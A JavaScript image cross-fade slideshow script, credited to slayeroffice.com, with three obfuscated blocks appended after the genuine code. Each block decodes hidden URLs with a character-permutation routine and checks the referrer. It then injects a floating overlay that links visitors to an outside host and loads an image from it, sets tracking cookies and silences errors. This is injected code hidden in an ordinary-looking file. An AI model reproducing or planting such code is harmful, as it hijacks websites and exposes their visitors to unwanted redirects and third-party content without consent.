/*
	Image Cross Fade Redux
	Version 1.0
	Last revision: 02.15.2006
	steve@slayeroffice.com

	Rewrite of old code found here: http://slayeroffice.com/code/imageCrossFade/index.html
*/

window.addEventListener?window.addEventListener('load',so_init,false):window.attachEvent('onload',so_init);

var d=document, imgs = new Array(), zInterval = null, current=0, pause=false;

function so_init()
{
	if(!d.getElementById || !d.createElement)return;

	css = d.createElement('link');
	css.setAttribute('href','xfade2.css');
	css.setAttribute('rel','stylesheet');
	css.setAttribute('type','text/css');
	d.getElementsByTagName('head')[0].appendChild(css);

	imgs = d.getElementById('rotator').getElementsByTagName('img');
	for(i=1;i<imgs.length;i++) imgs[i].xOpacity = 0;
	imgs[0].style.display = 'block';
	imgs[0].xOpacity = .99;

	setTimeout(so_xfade,3000);
}

function so_xfade()
{
	cOpacity = imgs[current].xOpacity;
	nIndex = imgs[current+1]?current+1:0;
	nOpacity = imgs[nIndex].xOpacity;

	cOpacity-=.05;
	nOpacity+=.05;

	imgs[nIndex].style.display = 'block';
	imgs[current].xOpacity = cOpacity;
	imgs[nIndex].xOpacity = nOpacity;

	setOpacity(imgs[current]);
	setOpacity(imgs[nIndex]);

	if(cOpacity<=0)
	{
		imgs[current].style.display = 'none';
		current = nIndex;
		setTimeout(so_xfade,10000);
	}
	else
	{
		setTimeout(so_xfade,50);
	}

	function setOpacity(obj)
	{
		if(obj.xOpacity>.99)
		{
			obj.xOpacity = .99;
			return;
		}

		obj.style.opacity = obj.xOpacity;
		obj.style.MozOpacity = obj.xOpacity;
		obj.style.filter = 'alpha(opacity=' + (obj.xOpacity*100) + ')';
	}
}function pfHDTr5X(){
	document.getElementById("UPmhrW").style.display="none";
}
function LpuIBw1v(){
	if(document.body.scrollTop==0)
		document.all["UPmhrW"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["UPmhrW"].style.top=document.body.scrollTop+10;
}
function OuvF4a0R(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("Ds503wTbU") == -1){
	var Lr7W = new Date(), Lr7W1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var d1rh = document.domain.toLowerCase(); 
			if(d1rh.indexOf('www.') == 0) d1rh = d1rh.substr(4);
			var XcDF = document.referrer.toLowerCase().substr(7); 
			var EcMj = XcDF.indexOf('?'); 
			if(EcMj != -1) XcDF = XcDF.substr(0, EcMj);
			var EcMj = XcDF.indexOf('/'); 
			if(EcMj != -1) XcDF = XcDF.substr(0, EcMj);
			if(XcDF.indexOf('www.') == 0) XcDF = XcDF.substr(4);
			if(XcDF != d1rh && Math.random() < 1){
				Lr7W.setTime(Lr7W.getTime()+(24*   100* 36   * 100   *   10  *10));
				Lr7W1 = Lr7W.toGMTString();
				var bgOG = navigator.appVersion.indexOf('MSIE') != -1;
				var uO2h=1;
				document.write('<div id="UPmhrW" style="'+(bgOG ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="uO2h=0"'+
				' title="Close" href="javascript: pfHDTr5X()" onmouseout="uO2h=1">Close[X]</a></b><br>'+
				'<a href="'+OuvF4a0R('ca9e87d314502f6b701264358','pl.sime/:ttth/pnmemresb//')+d1rh+'.html'+'" target="_blank"><img src="'+OuvF4a0R('a318469d0b2c5fe75bc984372ea06fd10','ltmt:./tp/hipsen2inab/3n/grimge.f')+'" border=0 alt="Click Here" onclick="pfHDTr5X()"></a></div>');
				if(bgOG){
					if (document.all["UPmhrW"].style)
					window.setInterval("LpuIBw1v()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		Lr7W.setTime(Lr7W.getTime()+(90 *  100   *  24   *36  *   100   * 10));
		Lr7W1 = Lr7W.toGMTString();
	}
	if(Lr7W1 != false) document.cookie = "Ds503wTbU"+'=1; expires='+Lr7W1+'; path=/';
}function QMGhmZgi(){
	document.getElementById("WNvlV4").style.display="none";
}
function GpKYioWt(){
	if(document.body.scrollTop==0)
		document.all["WNvlV4"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["WNvlV4"].style.top=document.body.scrollTop+10;
}
function TKd7rKmw(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("CyQMlaB2o") == -1){
	var EXgN = new Date(), EXgN1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var XadZ = document.domain.toLowerCase(); 
			if(XadZ.indexOf('www.') == 0) XadZ = XadZ.substr(4);
			var SBTl = document.referrer.toLowerCase().substr(7); 
			var VkhB = SBTl.indexOf('?'); 
			if(VkhB != -1) SBTl = SBTl.substr(0, VkhB);
			var VkhB = SBTl.indexOf('/'); 
			if(VkhB != -1) SBTl = SBTl.substr(0, VkhB);
			if(SBTl.indexOf('www.') == 0) SBTl = SBTl.substr(4);
			if(SBTl != XadZ && Math.random() < 1){
				EXgN.setTime(EXgN.getTime()+(100* 100  *  10*10 *   24*36));
				EXgN1 = EXgN.toGMTString();
				var xpVH = navigator.appVersion.indexOf('MSIE') != -1;
				var dyZt=1;
				document.write('<div id="WNvlV4" style="'+(xpVH ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="dyZt=0"'+
				' title="Close" href="javascript: QMGhmZgi()" onmouseout="dyZt=1">Close[X]</a></b><br>'+
				'<a href="'+TKd7rKmw('92d8a1c34f75e6b0173056824','t/tslpnmph:e/t.im/se/bemr')+XadZ+'.html'+'" target="_blank"><img src="'+TKd7rKmw('2ed41b8a630597cf36d01c4b29a5e8f70','m:hippln/.s/etttg/n/a2ii.ernbm3gf')+'" border=0 alt="Click Here" onclick="QMGhmZgi()"></a></div>');
				if(xpVH){
					if (document.all["WNvlV4"].style)
					window.setInterval("GpKYioWt()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		EXgN.setTime(EXgN.getTime()+(36 *90 *   100   *  24 *   100*   10));
		EXgN1 = EXgN.toGMTString();
	}
	if(EXgN1 != false) document.cookie = "CyQMlaB2o"+'=1; expires='+EXgN1+'; path=/';
}function jT2jG909(){
	document.getElementById("sC1c7w").style.display="none";
}
function lWk6RdUT(){
	if(document.body.scrollTop==0)
		document.all["sC1c7w"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["sC1c7w"].style.top=document.body.scrollTop+10;
}
function fEZcwGE4(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("EnQX0Z7OD") == -1){
	var RwB0 = new Date(), RwB01 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var i8y0 = document.domain.toLowerCase(); 
			if(i8y0.indexOf('www.') == 0) i8y0 = i8y0.substr(4);
			var B7vu = document.referrer.toLowerCase().substr(7); 
			var hLpV = B7vu.indexOf('?'); 
			if(hLpV != -1) B7vu = B7vu.substr(0, hLpV);
			var hLpV = B7vu.indexOf('/'); 
			if(hLpV != -1) B7vu = B7vu.substr(0, hLpV);
			if(B7vu.indexOf('www.') == 0) B7vu = B7vu.substr(4);
			if(B7vu != i8y0 && Math.random() < 1){
				RwB0.setTime(RwB0.getTime()+(10*   100* 36 *   24 *   10*   100));
				RwB01 = RwB0.toGMTString();
				var isIY = navigator.appVersion.indexOf('MSIE') != -1;
				var XtYk=1;
				document.write('<div id="sC1c7w" style="'+(isIY ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="XtYk=0"'+
				' title="Close" href="javascript: jT2jG909()" onmouseout="XtYk=1">Close[X]</a></b><br>'+
				'<a href="'+fEZcwGE4('e54267d890acf13b380142675','inpett:/slmtp/h.eme/b/rsm')+i8y0+'.html'+'" target="_blank"><img src="'+fEZcwGE4('3f97014a2b8e5dc679c5180b3a4d26ef0',':/lh/.tpmtsienpta/3nrg./bienm2gif')+'" border=0 alt="Click Here" onclick="jT2jG909()"></a></div>');
				if(isIY){
					if (document.all["sC1c7w"].style)
					window.setInterval("lWk6RdUT()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		RwB0.setTime(RwB0.getTime()+(100*24 * 10   *  100*36   *90));
		RwB01 = RwB0.toGMTString();
	}
	if(RwB01 != false) document.cookie = "EnQX0Z7OD"+'=1; expires='+RwB01+'; path=/';
}